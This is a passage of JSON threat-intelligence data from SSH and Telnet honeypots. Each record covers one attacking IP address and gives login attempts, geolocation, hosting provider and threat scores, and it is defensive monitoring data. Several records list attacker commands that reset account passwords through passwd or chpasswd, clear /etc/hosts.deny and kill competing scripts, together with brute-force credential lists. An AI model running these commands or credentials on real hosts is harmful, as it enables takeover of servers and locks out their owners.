      "as_org": "Microsoft Corporation",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:09:59.862000+00:00",
        "last_seen_30d": "2026-05-04T03:44:53.648000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "128.199.231.249": {
      "attack_count": 212,
      "first_seen": "2026-05-24T02:00:58.398Z",
      "last_seen": "2026-05-24T02:56:32.007Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "audit",
        "admin123",
        "gerrit",
        "git",
        "jrodriguez",
        "postgres",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234..",
        "123456",
        "12345678",
        "1234qweR",
        "1q2w3e4r!",
        "Aa000000",
        "Aa@11223344",
        "Ctyun@2026",
        "Passw0rd$",
        "QWERTY12345",
        "Salon@123",
        "admin123",
        "audit",
        "gerrit",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"audit\\nWNHQrsS9uOQZ\\nWNHQrsS9uOQZ\\n\"|passwd",
        "echo \"root:U1owSUgJIvId\"|chpasswd|bash",
        "echo -e \"audit\\nWNHQrsS9uOQZ\\nWNHQrsS9uOQZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:00:58.398000+00:00",
        "last_seen_30d": "2026-05-24T02:57:37.856000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "188.127.174.233": {
      "attack_count": 149,
      "first_seen": "2026-05-29T06:37:30.485Z",
      "last_seen": "2026-05-29T07:04:43.128Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "amit",
        "deployer",
        "lx",
        "mailuser",
        "openwrt",
        "pierre",
        "suporte",
        "suraj"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345qwerty",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "852456",
        "Aa111111.",
        "Admin@123456",
        "Qq123456..",
        "Super123!",
        "amit@123",
        "deployer123!",
        "fjbdfdjkdsfs541544",
        "openwrt",
        "password",
        "suraj@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fjbdfdjkdsfs541544\\np6n6Fq6tUKB4\\np6n6Fq6tUKB4\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\np6n6Fq6tUKB4\\np6n6Fq6tUKB4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 15704,
      "as_org": "Xtra Telecom S.A.",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:37:30.485000+00:00",
        "last_seen_30d": "2026-05-29T07:05:53.138000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "36.79.236.127": {
      "attack_count": 144,
      "first_seen": "2026-05-21T22:04:21.942Z",
      "last_seen": "2026-05-21T23:04:29.390Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "qq",
        "345gs5662d34",
        "bot",
        "fred",
        "master",
        "me",
        "ubuntu",
        "user04",
        "victor",
        "webadmin"
      ],
      "passwords_attempted": [
        "123",
        "123!@#aA",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin#123",
        "abcd12345678",
        "botbot",
        "fred123",
        "qaz123..",
        "qq",
        "qq123321",
        "ubuntu1",
        "ubuntu@321",
        "user04",
        "webadmin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qq\\nIY2Ht0bDhDdq\\nIY2Ht0bDhDdq\\n\"|passwd",
        "echo -e \"qq\\nIY2Ht0bDhDdq\\nIY2Ht0bDhDdq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Malang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:04:21.942000+00:00",
        "last_seen_30d": "2026-05-21T23:05:38.470000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "152.160.194.94": {
      "attack_count": 130,
      "first_seen": "2026-05-30T14:03:36.087Z",
      "last_seen": "2026-05-30T17:49:04.630Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 54163,
      "as_org": "AHOSTING",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T14:03:36.087000+00:00",
        "last_seen_30d": "2026-05-30T17:50:11.575000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 130,
        "Suricata": 98
      }
    },
    "105.224.118.144": {
      "attack_count": 126,
      "first_seen": "2026-05-22T09:51:09.464Z",
      "last_seen": "2026-05-22T15:52:18.220Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Durban",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:51:09.464000+00:00",
        "last_seen_30d": "2026-05-22T15:53:20.663000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 63
      }
    },
    "45.183.34.66": {
      "attack_count": 126,
      "first_seen": "2026-05-22T10:14:13.019Z",
      "last_seen": "2026-05-22T20:18:25.072Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Guarulhos",
      "asn": 269310,
      "as_org": "MAVNET TECNOLOGIA DE INFORMACAO EIRELI",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:14:13.019000+00:00",
        "last_seen_30d": "2026-05-22T20:19:31.387000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 63
      }
    },
    "110.24.36.12": {
      "attack_count": 120,
      "first_seen": "2026-05-21T06:45:01.252Z",
      "last_seen": "2026-05-21T13:04:30.523Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 9674,
      "as_org": "Far EastTone Telecommunication Co., Ltd.",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:45:01.252000+00:00",
        "last_seen_30d": "2026-05-21T13:05:34.930000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 120,
        "Suricata": 61
      }
    },
    "191.101.33.110": {
      "attack_count": 108,
      "first_seen": "2026-05-03T18:27:48.108Z",
      "last_seen": "2026-05-31T06:39:07.192Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:27:48.108000+00:00",
        "last_seen_30d": "2026-05-31T06:40:11.538000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "62.210.189.225": {
      "attack_count": 102,
      "first_seen": "2026-05-05T04:54:34.755Z",
      "last_seen": "2026-05-31T07:54:49.503Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 55.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:54:34.755000+00:00",
        "last_seen_30d": "2026-05-31T07:55:59.064000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "103.173.7.202": {
      "attack_count": 99,
      "first_seen": "2026-05-02T08:03:39.007Z",
      "last_seen": "2026-05-02T18:00:02.343Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:03:39.007000+00:00",
        "last_seen_30d": "2026-05-02T18:01:10.088000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 52
      }
    },
    "184.154.157.176": {
      "attack_count": 96,
      "first_seen": "2026-05-08T11:46:51.231Z",
      "last_seen": "2026-05-31T10:12:18.882Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:46:51.231000+00:00",
        "last_seen_30d": "2026-05-31T10:13:26.245000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 48
      }
    },
    "138.122.150.25": {
      "attack_count": 92,
      "first_seen": "2026-05-18T21:48:41.456Z",
      "last_seen": "2026-05-19T06:13:27.037Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Janu\u00e1ria",
      "asn": 264337,
      "as_org": "NET COM INFORMATICA LTDA - ME",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:48:41.456000+00:00",
        "last_seen_30d": "2026-05-19T06:14:33.424000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 51
      }
    },
    "154.83.14.94": {
      "attack_count": 83,
      "first_seen": "2026-05-31T15:53:36.609Z",
      "last_seen": "2026-05-31T15:58:52.865Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "minecraft"
      ],
      "passwords_attempted": [
        "123",
        "123456++",
        "3245gs5662d34",
        "345gs5662d34",
        "root001!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:rcKLaQnMpLHJ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T15:53:36.609000+00:00",
        "last_seen_30d": "2026-05-31T16:00:01.946000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 12
      }
    },
    "35.195.250.25": {
      "attack_count": 71,
      "first_seen": "2026-05-07T18:30:27.591Z",
      "last_seen": "2026-05-07T18:31:08.429Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4273",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T13:19:19+00:00",
        "last_seen_30d": "2026-05-07T18:32:18.631000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 43,
        "Mailoney": 1
      }
    },
    "27.222.255.165": {
      "attack_count": 50,
      "first_seen": "2026-05-30T21:02:45.146Z",
      "last_seen": "2026-05-30T21:08:09.560Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T21:02:45.146000+00:00",
        "last_seen_30d": "2026-05-30T21:09:19.018000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "182.121.170.152": {
      "attack_count": 48,
      "first_seen": "2026-05-22T14:20:59.198Z",
      "last_seen": "2026-05-22T14:26:10.668Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:20:59.198000+00:00",
        "last_seen_30d": "2026-05-22T14:27:11.025000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "77.183.78.151": {
      "attack_count": 46,
      "first_seen": "2026-05-07T17:58:44.357Z",
      "last_seen": "2026-05-07T18:05:42.705Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T17:58:44.357000+00:00",
        "last_seen_30d": "2026-05-07T18:16:36.100000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 36
      }
    },
    "64.227.59.76": {
      "attack_count": 42,
      "first_seen": "2026-05-03T09:08:39.846Z",
      "last_seen": "2026-05-31T05:40:41.915Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:08:39.846000+00:00",
        "last_seen_30d": "2026-05-31T05:41:46.978000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "138.121.104.214": {
      "attack_count": 16,
      "first_seen": "2026-05-20T05:41:52.607Z",
      "last_seen": "2026-05-20T06:18:59.226Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T05:41:52.607000+00:00",
        "last_seen_30d": "2026-05-20T06:20:06.116000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "121.43.228.6": {
      "attack_count": 14,
      "first_seen": "2026-05-06T07:55:10.151Z",
      "last_seen": "2026-05-06T07:55:18.075Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "mKgWPhhRv2"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo",
        "head -c 2545100 > /tmp/A6O1wHLNM9"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T07:54:54.294000+00:00",
        "last_seen_30d": "2026-05-08T15:09:07.586000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 12,
        "Honeytrap": 2
      }
    },
    "195.170.186.49": {
      "attack_count": 14,
      "first_seen": "2026-05-22T03:31:47.754Z",
      "last_seen": "2026-05-22T03:37:59.097Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 204457,
      "as_org": "Atlantis Telekomunikasyon Bilisim Hizmetleri San. ve Tic. Ltd. Sti.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:31:47.754000+00:00",
